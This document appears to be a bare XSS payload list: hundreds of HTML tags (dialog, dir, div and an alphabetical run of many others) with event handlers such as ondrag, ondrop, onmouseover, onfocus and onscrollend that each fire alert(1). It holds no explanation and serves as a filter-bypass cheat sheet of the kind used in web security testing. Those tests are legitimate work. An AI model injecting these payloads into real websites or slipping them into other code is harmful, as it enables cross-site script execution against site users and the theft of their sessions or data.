<dialog onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></dialog>
<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>
<dir contenteditable onbeforeinput=alert(1)>test
<dir draggable="true" ondrag="alert(1)" style=display:block>test</dir>
<dir draggable="true" ondragend="alert(1)" style=display:block>test</dir>
<dir draggable="true" ondragenter="alert(1)" style=display:block>test</dir>
<dir draggable="true" ondragleave="alert(1)" style=display:block>test</dir>
<dir draggable="true" ondragstart="alert(1)" style=display:block>test</dir>
<dir id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></dir>
<dir id=x tabindex=1 onfocus=alert(1)></dir>
<dir id=x tabindex=1 onfocusin=alert(1)></dir>
<dir onafterscriptexecute=alert(1)><script>1</script>
<dir onbeforecopy="alert(1)" contenteditable>test</dir>
<dir onbeforecut="alert(1)" contenteditable>test</dir>
<dir onbeforescriptexecute=alert(1)><script>1</script>
<dir onblur=alert(1) id=x tabindex=1 style=display:block>test</dir><input value=clickme>
<dir onclick="alert(1)" style=display:block>test</dir>
<dir oncontextmenu="alert(1)" style=display:block>test</dir>
<dir oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dir oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dir ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</dir>
<dir onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</dir><input value=clickme>
<dir onkeydown="alert(1)" contenteditable style=display:block>test</dir>
<dir onkeypress="alert(1)" contenteditable style=display:block>test</dir>
<dir onkeyup="alert(1)" contenteditable style=display:block>test</dir>
<dir onmousedown="alert(1)" style=display:block>test</dir>
<dir onmouseenter="alert(1)" style=display:block>test</dir>
<dir onmouseleave="alert(1)" style=display:block>test</dir>
<dir onmousemove="alert(1)" style=display:block>test</dir>
<dir onmouseout="alert(1)" style=display:block>test</dir>
<dir onmouseover="alert(1)" style=display:block>test</dir>
<dir onmouseup="alert(1)" style=display:block>test</dir>
<dir onmousewheel=alert(1) style=display:block>requires scrolling
<dir onpaste="alert(1)" contenteditable>test</dir>
<dir onpointerdown=alert(1) style=display:block>XSS</dir>
<dir onpointerenter=alert(1) style=display:block>XSS</dir>
<dir onpointerleave=alert(1) style=display:block>XSS</dir>
<dir onpointermove=alert(1) style=display:block>XSS</dir>
<dir onpointerout=alert(1) style=display:block>XSS</dir>
<dir onpointerover=alert(1) style=display:block>XSS</dir>
<dir onpointerrawupdate=alert(1) style=display:block>XSS</dir>
<dir onpointerup=alert(1) style=display:block>XSS</dir>
<dir onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></dir>
<div contenteditable onbeforeinput=alert(1)>test
<div contextmenu=xss><p>Right click<menu type=context id=xss onshow=alert(1)></menu></div>
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable style=display:block>drop here</a>
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable style=display:block>drop here</a>
<div draggable="true" contenteditable>drag me</div><a2 ondragover=alert(1) contenteditable style=display:block>drop here</a2>
<div draggable="true" contenteditable>drag me</div><a2 ondrop=alert(1) contenteditable style=display:block>drop here</a2>
<div draggable="true" contenteditable>drag me</div><abbr ondragover=alert(1) contenteditable style=display:block>drop here</abbr>
<div draggable="true" contenteditable>drag me</div><abbr ondrop=alert(1) contenteditable style=display:block>drop here</abbr>
<div draggable="true" contenteditable>drag me</div><acronym ondragover=alert(1) contenteditable style=display:block>drop here</acronym>
<div draggable="true" contenteditable>drag me</div><acronym ondrop=alert(1) contenteditable style=display:block>drop here</acronym>
<div draggable="true" contenteditable>drag me</div><address ondragover=alert(1) contenteditable style=display:block>drop here</address>
<div draggable="true" contenteditable>drag me</div><address ondrop=alert(1) contenteditable style=display:block>drop here</address>
<div draggable="true" contenteditable>drag me</div><animate ondragover=alert(1) contenteditable style=display:block>drop here</animate>
<div draggable="true" contenteditable>drag me</div><animate ondrop=alert(1) contenteditable style=display:block>drop here</animate>
<div draggable="true" contenteditable>drag me</div><animatemotion ondragover=alert(1) contenteditable style=display:block>drop here</animatemotion>
<div draggable="true" contenteditable>drag me</div><animatemotion ondrop=alert(1) contenteditable style=display:block>drop here</animatemotion>
<div draggable="true" contenteditable>drag me</div><animatetransform ondragover=alert(1) contenteditable style=display:block>drop here</animatetransform>
<div draggable="true" contenteditable>drag me</div><animatetransform ondrop=alert(1) contenteditable style=display:block>drop here</animatetransform>
<div draggable="true" contenteditable>drag me</div><applet ondragover=alert(1) contenteditable style=display:block>drop here</applet>
<div draggable="true" contenteditable>drag me</div><applet ondrop=alert(1) contenteditable style=display:block>drop here</applet>
<div draggable="true" contenteditable>drag me</div><area ondragover=alert(1) contenteditable style=display:block>drop here</area>
<div draggable="true" contenteditable>drag me</div><area ondrop=alert(1) contenteditable style=display:block>drop here</area>
<div draggable="true" contenteditable>drag me</div><article ondragover=alert(1) contenteditable style=display:block>drop here</article>
<div draggable="true" contenteditable>drag me</div><article ondrop=alert(1) contenteditable style=display:block>drop here</article>
<div draggable="true" contenteditable>drag me</div><aside ondragover=alert(1) contenteditable style=display:block>drop here</aside>
<div draggable="true" contenteditable>drag me</div><aside ondrop=alert(1) contenteditable style=display:block>drop here</aside>
<div draggable="true" contenteditable>drag me</div><audio ondragover=alert(1) contenteditable style=display:block>drop here</audio>
<div draggable="true" contenteditable>drag me</div><audio ondrop=alert(1) contenteditable style=display:block>drop here</audio>
<div draggable="true" contenteditable>drag me</div><audio2 ondragover=alert(1) contenteditable style=display:block>drop here</audio2>
<div draggable="true" contenteditable>drag me</div><audio2 ondrop=alert(1) contenteditable style=display:block>drop here</audio2>
<div draggable="true" contenteditable>drag me</div><b ondragover=alert(1) contenteditable style=display:block>drop here</b>
<div draggable="true" contenteditable>drag me</div><b ondrop=alert(1) contenteditable style=display:block>drop here</b>
<div draggable="true" contenteditable>drag me</div><bdi ondragover=alert(1) contenteditable style=display:block>drop here</bdi>
<div draggable="true" contenteditable>drag me</div><bdi ondrop=alert(1) contenteditable style=display:block>drop here</bdi>
<div draggable="true" contenteditable>drag me</div><bdo ondragover=alert(1) contenteditable style=display:block>drop here</bdo>
<div draggable="true" contenteditable>drag me</div><bdo ondrop=alert(1) contenteditable style=display:block>drop here</bdo>
<div draggable="true" contenteditable>drag me</div><big ondragover=alert(1) contenteditable style=display:block>drop here</big>
<div draggable="true" contenteditable>drag me</div><big ondrop=alert(1) contenteditable style=display:block>drop here</big>
<div draggable="true" contenteditable>drag me</div><blink ondragover=alert(1) contenteditable style=display:block>drop here</blink>
<div draggable="true" contenteditable>drag me</div><blink ondrop=alert(1) contenteditable style=display:block>drop here</blink>
<div draggable="true" contenteditable>drag me</div><blockquote ondragover=alert(1) contenteditable style=display:block>drop here</blockquote>
<div draggable="true" contenteditable>drag me</div><blockquote ondrop=alert(1) contenteditable style=display:block>drop here</blockquote>
<div draggable="true" contenteditable>drag me</div><body ondragover=alert(1) contenteditable style=display:block>drop here</body>
<div draggable="true" contenteditable>drag me</div><body ondrop=alert(1) contenteditable style=display:block>drop here</body>
<div draggable="true" contenteditable>drag me</div><br ondragover=alert(1) contenteditable style=display:block>drop here</br>
<div draggable="true" contenteditable>drag me</div><br ondrop=alert(1) contenteditable style=display:block>drop here</br>
<div draggable="true" contenteditable>drag me</div><button ondragover=alert(1) contenteditable style=display:block>drop here</button>
<div draggable="true" contenteditable>drag me</div><button ondrop=alert(1) contenteditable style=display:block>drop here</button>
<div draggable="true" contenteditable>drag me</div><canvas ondragover=alert(1) contenteditable style=display:block>drop here</canvas>
<div draggable="true" contenteditable>drag me</div><canvas ondrop=alert(1) contenteditable style=display:block>drop here</canvas>
<div draggable="true" contenteditable>drag me</div><caption ondragover=alert(1) contenteditable style=display:block>drop here</caption>
<div draggable="true" contenteditable>drag me</div><caption ondrop=alert(1) contenteditable style=display:block>drop here</caption>
<div draggable="true" contenteditable>drag me</div><center ondragover=alert(1) contenteditable style=display:block>drop here</center>
<div draggable="true" contenteditable>drag me</div><center ondrop=alert(1) contenteditable style=display:block>drop here</center>
<div draggable="true" contenteditable>drag me</div><cite ondragover=alert(1) contenteditable style=display:block>drop here</cite>
<div draggable="true" contenteditable>drag me</div><cite ondrop=alert(1) contenteditable style=display:block>drop here</cite>
<div draggable="true" contenteditable>drag me</div><code ondragover=alert(1) contenteditable style=display:block>drop here</code>
<div draggable="true" contenteditable>drag me</div><code ondrop=alert(1) contenteditable style=display:block>drop here</code>
<div draggable="true" contenteditable>drag me</div><col ondragover=alert(1) contenteditable style=display:block>drop here</col>
<div draggable="true" contenteditable>drag me</div><col ondrop=alert(1) contenteditable style=display:block>drop here</col>
<div draggable="true" contenteditable>drag me</div><colgroup ondragover=alert(1) contenteditable style=display:block>drop here</colgroup>
<div draggable="true" contenteditable>drag me</div><colgroup ondrop=alert(1) contenteditable style=display:block>drop here</colgroup>
<div draggable="true" contenteditable>drag me</div><command ondragover=alert(1) contenteditable style=display:block>drop here</command>
<div draggable="true" contenteditable>drag me</div><command ondrop=alert(1) contenteditable style=display:block>drop here</command>
<div draggable="true" contenteditable>drag me</div><content ondragover=alert(1) contenteditable style=display:block>drop here</content>
<div draggable="true" contenteditable>drag me</div><content ondrop=alert(1) contenteditable style=display:block>drop here</content>
<div draggable="true" contenteditable>drag me</div><custom tags ondragover=alert(1) contenteditable style=display:block>drop here</custom tags>
<div draggable="true" contenteditable>drag me</div><custom tags ondrop=alert(1) contenteditable style=display:block>drop here</custom tags>
<div draggable="true" contenteditable>drag me</div><data ondragover=alert(1) contenteditable style=display:block>drop here</data>
<div draggable="true" contenteditable>drag me</div><data ondrop=alert(1) contenteditable style=display:block>drop here</data>
<div draggable="true" contenteditable>drag me</div><datalist ondragover=alert(1) contenteditable style=display:block>drop here</datalist>
<div draggable="true" contenteditable>drag me</div><datalist ondrop=alert(1) contenteditable style=display:block>drop here</datalist>
<div draggable="true" contenteditable>drag me</div><dd ondragover=alert(1) contenteditable style=display:block>drop here</dd>
<div draggable="true" contenteditable>drag me</div><dd ondrop=alert(1) contenteditable style=display:block>drop here</dd>
<div draggable="true" contenteditable>drag me</div><del ondragover=alert(1) contenteditable style=display:block>drop here</del>
<div draggable="true" contenteditable>drag me</div><del ondrop=alert(1) contenteditable style=display:block>drop here</del>
<div draggable="true" contenteditable>drag me</div><details ondragover=alert(1) contenteditable style=display:block>drop here</details>
<div draggable="true" contenteditable>drag me</div><details ondrop=alert(1) contenteditable style=display:block>drop here</details>
<div draggable="true" contenteditable>drag me</div><dfn ondragover=alert(1) contenteditable style=display:block>drop here</dfn>
<div draggable="true" contenteditable>drag me</div><dfn ondrop=alert(1) contenteditable style=display:block>drop here</dfn>
<div draggable="true" contenteditable>drag me</div><dialog ondragover=alert(1) contenteditable style=display:block>drop here</dialog>
<div draggable="true" contenteditable>drag me</div><dialog ondrop=alert(1) contenteditable style=display:block>drop here</dialog>
<div draggable="true" contenteditable>drag me</div><dir ondragover=alert(1) contenteditable style=display:block>drop here</dir>
<div draggable="true" contenteditable>drag me</div><dir ondrop=alert(1) contenteditable style=display:block>drop here</dir>
<div draggable="true" contenteditable>drag me</div><div ondragover=alert(1) contenteditable style=display:block>drop here</div>
<div draggable="true" contenteditable>drag me</div><div ondrop=alert(1) contenteditable style=display:block>drop here</div>
<div draggable="true" contenteditable>drag me</div><dl ondragover=alert(1) contenteditable style=display:block>drop here</dl>
<div draggable="true" contenteditable>drag me</div><dl ondrop=alert(1) contenteditable style=display:block>drop here</dl>
<div draggable="true" contenteditable>drag me</div><dt ondragover=alert(1) contenteditable style=display:block>drop here</dt>
<div draggable="true" contenteditable>drag me</div><dt ondrop=alert(1) contenteditable style=display:block>drop here</dt>
<div draggable="true" contenteditable>drag me</div><element ondragover=alert(1) contenteditable style=display:block>drop here</element>
<div draggable="true" contenteditable>drag me</div><element ondrop=alert(1) contenteditable style=display:block>drop here</element>
<div draggable="true" contenteditable>drag me</div><em ondragover=alert(1) contenteditable style=display:block>drop here</em>
<div draggable="true" contenteditable>drag me</div><em ondrop=alert(1) contenteditable style=display:block>drop here</em>
<div draggable="true" contenteditable>drag me</div><embed ondragover=alert(1) contenteditable style=display:block>drop here</embed>
<div draggable="true" contenteditable>drag me</div><embed ondrop=alert(1) contenteditable style=display:block>drop here</embed>
<div draggable="true" contenteditable>drag me</div><fieldset ondragover=alert(1) contenteditable style=display:block>drop here</fieldset>
<div draggable="true" contenteditable>drag me</div><fieldset ondrop=alert(1) contenteditable style=display:block>drop here</fieldset>
<div draggable="true" contenteditable>drag me</div><figcaption ondragover=alert(1) contenteditable style=display:block>drop here</figcaption>
<div draggable="true" contenteditable>drag me</div><figcaption ondrop=alert(1) contenteditable style=display:block>drop here</figcaption>
<div draggable="true" contenteditable>drag me</div><figure ondragover=alert(1) contenteditable style=display:block>drop here</figure>
<div draggable="true" contenteditable>drag me</div><figure ondrop=alert(1) contenteditable style=display:block>drop here</figure>
<div draggable="true" contenteditable>drag me</div><font ondragover=alert(1) contenteditable style=display:block>drop here</font>
<div draggable="true" contenteditable>drag me</div><font ondrop=alert(1) contenteditable style=display:block>drop here</font>
<div draggable="true" contenteditable>drag me</div><footer ondragover=alert(1) contenteditable style=display:block>drop here</footer>
<div draggable="true" contenteditable>drag me</div><footer ondrop=alert(1) contenteditable style=display:block>drop here</footer>
<div draggable="true" contenteditable>drag me</div><form ondragover=alert(1) contenteditable style=display:block>drop here</form>
<div draggable="true" contenteditable>drag me</div><form ondrop=alert(1) contenteditable style=display:block>drop here</form>
<div draggable="true" contenteditable>drag me</div><frame ondragover=alert(1) contenteditable style=display:block>drop here</frame>
<div draggable="true" contenteditable>drag me</div><frame ondrop=alert(1) contenteditable style=display:block>drop here</frame>
<div draggable="true" contenteditable>drag me</div><frameset ondragover=alert(1) contenteditable style=display:block>drop here</frameset>
<div draggable="true" contenteditable>drag me</div><frameset ondrop=alert(1) contenteditable style=display:block>drop here</frameset>
<div draggable="true" contenteditable>drag me</div><h1 ondragover=alert(1) contenteditable style=display:block>drop here</h1>
<div draggable="true" contenteditable>drag me</div><h1 ondrop=alert(1) contenteditable style=display:block>drop here</h1>
<div draggable="true" contenteditable>drag me</div><head ondragover=alert(1) contenteditable style=display:block>drop here</head>
<div draggable="true" contenteditable>drag me</div><head ondrop=alert(1) contenteditable style=display:block>drop here</head>
<div draggable="true" contenteditable>drag me</div><header ondragover=alert(1) contenteditable style=display:block>drop here</header>
<div draggable="true" contenteditable>drag me</div><header ondrop=alert(1) contenteditable style=display:block>drop here</header>
<div draggable="true" contenteditable>drag me</div><hgroup ondragover=alert(1) contenteditable style=display:block>drop here</hgroup>
<div draggable="true" contenteditable>drag me</div><hgroup ondrop=alert(1) contenteditable style=display:block>drop here</hgroup>
<div draggable="true" contenteditable>drag me</div><hr ondragover=alert(1) contenteditable style=display:block>drop here</hr>
<div draggable="true" contenteditable>drag me</div><hr ondrop=alert(1) contenteditable style=display:block>drop here</hr>
<div draggable="true" contenteditable>drag me</div><html ondragover=alert(1) contenteditable style=display:block>drop here</html>
<div draggable="true" contenteditable>drag me</div><html ondrop=alert(1) contenteditable style=display:block>drop here</html>
<div draggable="true" contenteditable>drag me</div><i ondragover=alert(1) contenteditable style=display:block>drop here</i>
<div draggable="true" contenteditable>drag me</div><i ondrop=alert(1) contenteditable style=display:block>drop here</i>
<div draggable="true" contenteditable>drag me</div><iframe ondragover=alert(1) contenteditable style=display:block>drop here</iframe>
<div draggable="true" contenteditable>drag me</div><iframe ondrop=alert(1) contenteditable style=display:block>drop here</iframe>
<div draggable="true" contenteditable>drag me</div><iframe2 ondragover=alert(1) contenteditable style=display:block>drop here</iframe2>
<div draggable="true" contenteditable>drag me</div><iframe2 ondrop=alert(1) contenteditable style=display:block>drop here</iframe2>
<div draggable="true" contenteditable>drag me</div><image ondragover=alert(1) contenteditable style=display:block>drop here</image>
<div draggable="true" contenteditable>drag me</div><image ondrop=alert(1) contenteditable style=display:block>drop here</image>
<div draggable="true" contenteditable>drag me</div><image2 ondragover=alert(1) contenteditable style=display:block>drop here</image2>
<div draggable="true" contenteditable>drag me</div><image2 ondrop=alert(1) contenteditable style=display:block>drop here</image2>
<div draggable="true" contenteditable>drag me</div><image3 ondragover=alert(1) contenteditable style=display:block>drop here</image3>
<div draggable="true" contenteditable>drag me</div><image3 ondrop=alert(1) contenteditable style=display:block>drop here</image3>
<div draggable="true" contenteditable>drag me</div><img ondragover=alert(1) contenteditable style=display:block>drop here</img>
<div draggable="true" contenteditable>drag me</div><img ondrop=alert(1) contenteditable style=display:block>drop here</img>
<div draggable="true" contenteditable>drag me</div><img2 ondragover=alert(1) contenteditable style=display:block>drop here</img2>
<div draggable="true" contenteditable>drag me</div><img2 ondrop=alert(1) contenteditable style=display:block>drop here</img2>
<div draggable="true" contenteditable>drag me</div><input ondragover=alert(1) contenteditable style=display:block>drop here</input>
<div draggable="true" contenteditable>drag me</div><input ondrop=alert(1) contenteditable style=display:block>drop here</input>
<div draggable="true" contenteditable>drag me</div><input2 ondragover=alert(1) contenteditable style=display:block>drop here</input2>
<div draggable="true" contenteditable>drag me</div><input2 ondrop=alert(1) contenteditable style=display:block>drop here</input2>
<div draggable="true" contenteditable>drag me</div><input3 ondragover=alert(1) contenteditable style=display:block>drop here</input3>
<div draggable="true" contenteditable>drag me</div><input3 ondrop=alert(1) contenteditable style=display:block>drop here</input3>
<div draggable="true" contenteditable>drag me</div><input4 ondragover=alert(1) contenteditable style=display:block>drop here</input4>
<div draggable="true" contenteditable>drag me</div><input4 ondrop=alert(1) contenteditable style=display:block>drop here</input4>
<div draggable="true" contenteditable>drag me</div><ins ondragover=alert(1) contenteditable style=display:block>drop here</ins>
<div draggable="true" contenteditable>drag me</div><ins ondrop=alert(1) contenteditable style=display:block>drop here</ins>
<div draggable="true" contenteditable>drag me</div><kbd ondragover=alert(1) contenteditable style=display:block>drop here</kbd>
<div draggable="true" contenteditable>drag me</div><kbd ondrop=alert(1) contenteditable style=display:block>drop here</kbd>
<div draggable="true" contenteditable>drag me</div><keygen ondragover=alert(1) contenteditable style=display:block>drop here</keygen>
<div draggable="true" contenteditable>drag me</div><keygen ondrop=alert(1) contenteditable style=display:block>drop here</keygen>
<div draggable="true" contenteditable>drag me</div><label ondragover=alert(1) contenteditable style=display:block>drop here</label>
<div draggable="true" contenteditable>drag me</div><label ondrop=alert(1) contenteditable style=display:block>drop here</label>
<div draggable="true" contenteditable>drag me</div><legend ondragover=alert(1) contenteditable style=display:block>drop here</legend>
<div draggable="true" contenteditable>drag me</div><legend ondrop=alert(1) contenteditable style=display:block>drop here</legend>
<div draggable="true" contenteditable>drag me</div><li ondragover=alert(1) contenteditable style=display:block>drop here</li>
<div draggable="true" contenteditable>drag me</div><li ondrop=alert(1) contenteditable style=display:block>drop here</li>
<div draggable="true" contenteditable>drag me</div><link ondragover=alert(1) contenteditable style=display:block>drop here</link>
<div draggable="true" contenteditable>drag me</div><link ondrop=alert(1) contenteditable style=display:block>drop here</link>
<div draggable="true" contenteditable>drag me</div><listing ondragover=alert(1) contenteditable style=display:block>drop here</listing>
<div draggable="true" contenteditable>drag me</div><listing ondrop=alert(1) contenteditable style=display:block>drop here</listing>
<div draggable="true" contenteditable>drag me</div><main ondragover=alert(1) contenteditable style=display:block>drop here</main>
<div draggable="true" contenteditable>drag me</div><main ondrop=alert(1) contenteditable style=display:block>drop here</main>
<div draggable="true" contenteditable>drag me</div><map ondragover=alert(1) contenteditable style=display:block>drop here</map>
<div draggable="true" contenteditable>drag me</div><map ondrop=alert(1) contenteditable style=display:block>drop here</map>
<div draggable="true" contenteditable>drag me</div><mark ondragover=alert(1) contenteditable style=display:block>drop here</mark>
<div draggable="true" contenteditable>drag me</div><mark ondrop=alert(1) contenteditable style=display:block>drop here</mark>
<div draggable="true" contenteditable>drag me</div><marquee ondragover=alert(1) contenteditable style=display:block>drop here</marquee>
<div draggable="true" contenteditable>drag me</div><marquee ondrop=alert(1) contenteditable style=display:block>drop here</marquee>
<div draggable="true" contenteditable>drag me</div><menu ondragover=alert(1) contenteditable style=display:block>drop here</menu>
<div draggable="true" contenteditable>drag me</div><menu ondrop=alert(1) contenteditable style=display:block>drop here</menu>
<div draggable="true" contenteditable>drag me</div><menuitem ondragover=alert(1) contenteditable style=display:block>drop here</menuitem>
<div draggable="true" contenteditable>drag me</div><menuitem ondrop=alert(1) contenteditable style=display:block>drop here</menuitem>
<div draggable="true" contenteditable>drag me</div><meta ondragover=alert(1) contenteditable style=display:block>drop here</meta>
<div draggable="true" contenteditable>drag me</div><meta ondrop=alert(1) contenteditable style=display:block>drop here</meta>
<div draggable="true" contenteditable>drag me</div><meter ondragover=alert(1) contenteditable style=display:block>drop here</meter>
<div draggable="true" contenteditable>drag me</div><meter ondrop=alert(1) contenteditable style=display:block>drop here</meter>
<div draggable="true" contenteditable>drag me</div><multicol ondragover=alert(1) contenteditable style=display:block>drop here</multicol>
<div draggable="true" contenteditable>drag me</div><multicol ondrop=alert(1) contenteditable style=display:block>drop here</multicol>
<div draggable="true" contenteditable>drag me</div><nav ondragover=alert(1) contenteditable style=display:block>drop here</nav>
<div draggable="true" contenteditable>drag me</div><nav ondrop=alert(1) contenteditable style=display:block>drop here</nav>
<div draggable="true" contenteditable>drag me</div><nextid ondragover=alert(1) contenteditable style=display:block>drop here</nextid>
<div draggable="true" contenteditable>drag me</div><nextid ondrop=alert(1) contenteditable style=display:block>drop here</nextid>
<div draggable="true" contenteditable>drag me</div><nobr ondragover=alert(1) contenteditable style=display:block>drop here</nobr>
<div draggable="true" contenteditable>drag me</div><nobr ondrop=alert(1) contenteditable style=display:block>drop here</nobr>
<div draggable="true" contenteditable>drag me</div><noembed ondragover=alert(1) contenteditable style=display:block>drop here</noembed>
<div draggable="true" contenteditable>drag me</div><noembed ondrop=alert(1) contenteditable style=display:block>drop here</noembed>
<div draggable="true" contenteditable>drag me</div><noframes ondragover=alert(1) contenteditable style=display:block>drop here</noframes>
<div draggable="true" contenteditable>drag me</div><noframes ondrop=alert(1) contenteditable style=display:block>drop here</noframes>
<div draggable="true" contenteditable>drag me</div><noscript ondragover=alert(1) contenteditable style=display:block>drop here</noscript>
<div draggable="true" contenteditable>drag me</div><noscript ondrop=alert(1) contenteditable style=display:block>drop here</noscript>
<div draggable="true" contenteditable>drag me</div><object ondragover=alert(1) contenteditable style=display:block>drop here</object>
<div draggable="true" contenteditable>drag me</div><object ondrop=alert(1) contenteditable style=display:block>drop here</object>
<div draggable="true" contenteditable>drag me</div><ol ondragover=alert(1) contenteditable style=display:block>drop here</ol>
<div draggable="true" contenteditable>drag me</div><ol ondrop=alert(1) contenteditable style=display:block>drop here</ol>
<div draggable="true" contenteditable>drag me</div><optgroup ondragover=alert(1) contenteditable style=display:block>drop here</optgroup>
<div draggable="true" contenteditable>drag me</div><optgroup ondrop=alert(1) contenteditable style=display:block>drop here</optgroup>
<div draggable="true" contenteditable>drag me</div><option ondragover=alert(1) contenteditable style=display:block>drop here</option>
<div draggable="true" contenteditable>drag me</div><option ondrop=alert(1) contenteditable style=display:block>drop here</option>
<div draggable="true" contenteditable>drag me</div><output ondragover=alert(1) contenteditable style=display:block>drop here</output>
<div draggable="true" contenteditable>drag me</div><output ondrop=alert(1) contenteditable style=display:block>drop here</output>
<div draggable="true" contenteditable>drag me</div><p ondragover=alert(1) contenteditable style=display:block>drop here</p>
<div draggable="true" contenteditable>drag me</div><p ondrop=alert(1) contenteditable style=display:block>drop here</p>
<div draggable="true" contenteditable>drag me</div><param ondragover=alert(1) contenteditable style=display:block>drop here</param>
<div draggable="true" contenteditable>drag me</div><param ondrop=alert(1) contenteditable style=display:block>drop here</param>
<div draggable="true" contenteditable>drag me</div><picture ondragover=alert(1) contenteditable style=display:block>drop here</picture>
<div draggable="true" contenteditable>drag me</div><picture ondrop=alert(1) contenteditable style=display:block>drop here</picture>
<div draggable="true" contenteditable>drag me</div><plaintext ondragover=alert(1) contenteditable style=display:block>drop here</plaintext>
<div draggable="true" contenteditable>drag me</div><plaintext ondrop=alert(1) contenteditable style=display:block>drop here</plaintext>
<div draggable="true" contenteditable>drag me</div><pre ondragover=alert(1) contenteditable style=display:block>drop here</pre>
<div draggable="true" contenteditable>drag me</div><pre ondrop=alert(1) contenteditable style=display:block>drop here</pre>
<div draggable="true" contenteditable>drag me</div><progress ondragover=alert(1) contenteditable style=display:block>drop here</progress>
<div draggable="true" contenteditable>drag me</div><progress ondrop=alert(1) contenteditable style=display:block>drop here</progress>
<div draggable="true" contenteditable>drag me</div><q ondragover=alert(1) contenteditable style=display:block>drop here</q>
<div draggable="true" contenteditable>drag me</div><q ondrop=alert(1) contenteditable style=display:block>drop here</q>
<div draggable="true" contenteditable>drag me</div><rb ondragover=alert(1) contenteditable style=display:block>drop here</rb>
<div draggable="true" contenteditable>drag me</div><rb ondrop=alert(1) contenteditable style=display:block>drop here</rb>
<div draggable="true" contenteditable>drag me</div><rp ondragover=alert(1) contenteditable style=display:block>drop here</rp>
<div draggable="true" contenteditable>drag me</div><rp ondrop=alert(1) contenteditable style=display:block>drop here</rp>
<div draggable="true" contenteditable>drag me</div><rt ondragover=alert(1) contenteditable style=display:block>drop here</rt>
<div draggable="true" contenteditable>drag me</div><rt ondrop=alert(1) contenteditable style=display:block>drop here</rt>
<div draggable="true" contenteditable>drag me</div><rtc ondragover=alert(1) contenteditable style=display:block>drop here</rtc>
<div draggable="true" contenteditable>drag me</div><rtc ondrop=alert(1) contenteditable style=display:block>drop here</rtc>
<div draggable="true" contenteditable>drag me</div><ruby ondragover=alert(1) contenteditable style=display:block>drop here</ruby>
<div draggable="true" contenteditable>drag me</div><ruby ondrop=alert(1) contenteditable style=display:block>drop here</ruby>
<div draggable="true" contenteditable>drag me</div><s ondragover=alert(1) contenteditable style=display:block>drop here</s>
<div draggable="true" contenteditable>drag me</div><s ondrop=alert(1) contenteditable style=display:block>drop here</s>
<div draggable="true" contenteditable>drag me</div><samp ondragover=alert(1) contenteditable style=display:block>drop here</samp>
<div draggable="true" contenteditable>drag me</div><samp ondrop=alert(1) contenteditable style=display:block>drop here</samp>
<div draggable="true" contenteditable>drag me</div><script ondragover=alert(1) contenteditable style=display:block>drop here</script>
<div draggable="true" contenteditable>drag me</div><script ondrop=alert(1) contenteditable style=display:block>drop here</script>
<div draggable="true" contenteditable>drag me</div><section ondragover=alert(1) contenteditable style=display:block>drop here</section>
<div draggable="true" contenteditable>drag me</div><section ondrop=alert(1) contenteditable style=display:block>drop here</section>
<div draggable="true" contenteditable>drag me</div><select ondragover=alert(1) contenteditable style=display:block>drop here</select>
<div draggable="true" contenteditable>drag me</div><select ondrop=alert(1) contenteditable style=display:block>drop here</select>
<div draggable="true" contenteditable>drag me</div><set ondragover=alert(1) contenteditable style=display:block>drop here</set>
<div draggable="true" contenteditable>drag me</div><set ondrop=alert(1) contenteditable style=display:block>drop here</set>
<div draggable="true" contenteditable>drag me</div><shadow ondragover=alert(1) contenteditable style=display:block>drop here</shadow>
<div draggable="true" contenteditable>drag me</div><shadow ondrop=alert(1) contenteditable style=display:block>drop here</shadow>
<div draggable="true" contenteditable>drag me</div><slot ondragover=alert(1) contenteditable style=display:block>drop here</slot>
<div draggable="true" contenteditable>drag me</div><slot ondrop=alert(1) contenteditable style=display:block>drop here</slot>
<div draggable="true" contenteditable>drag me</div><small ondragover=alert(1) contenteditable style=display:block>drop here</small>
<div draggable="true" contenteditable>drag me</div><small ondrop=alert(1) contenteditable style=display:block>drop here</small>
<div draggable="true" contenteditable>drag me</div><source ondragover=alert(1) contenteditable style=display:block>drop here</source>
<div draggable="true" contenteditable>drag me</div><source ondrop=alert(1) contenteditable style=display:block>drop here</source>
<div draggable="true" contenteditable>drag me</div><spacer ondragover=alert(1) contenteditable style=display:block>drop here</spacer>
<div draggable="true" contenteditable>drag me</div><spacer ondrop=alert(1) contenteditable style=display:block>drop here</spacer>
<div draggable="true" contenteditable>drag me</div><span ondragover=alert(1) contenteditable style=display:block>drop here</span>
<div draggable="true" contenteditable>drag me</div><span ondrop=alert(1) contenteditable style=display:block>drop here</span>
<div draggable="true" contenteditable>drag me</div><strike ondragover=alert(1) contenteditable style=display:block>drop here</strike>
<div draggable="true" contenteditable>drag me</div><strike ondrop=alert(1) contenteditable style=display:block>drop here</strike>
<div draggable="true" contenteditable>drag me</div><strong ondragover=alert(1) contenteditable style=display:block>drop here</strong>
<div draggable="true" contenteditable>drag me</div><strong ondrop=alert(1) contenteditable style=display:block>drop here</strong>
<div draggable="true" contenteditable>drag me</div><style ondragover=alert(1) contenteditable style=display:block>drop here</style>
<div draggable="true" contenteditable>drag me</div><style ondrop=alert(1) contenteditable style=display:block>drop here</style>
<div draggable="true" contenteditable>drag me</div><sub ondragover=alert(1) contenteditable style=display:block>drop here</sub>
<div draggable="true" contenteditable>drag me</div><sub ondrop=alert(1) contenteditable style=display:block>drop here</sub>
<div draggable="true" contenteditable>drag me</div><summary ondragover=alert(1) contenteditable style=display:block>drop here</summary>
<div draggable="true" contenteditable>drag me</div><summary ondrop=alert(1) contenteditable style=display:block>drop here</summary>
<div draggable="true" contenteditable>drag me</div><sup ondragover=alert(1) contenteditable style=display:block>drop here</sup>
<div draggable="true" contenteditable>drag me</div><sup ondrop=alert(1) contenteditable style=display:block>drop here</sup>
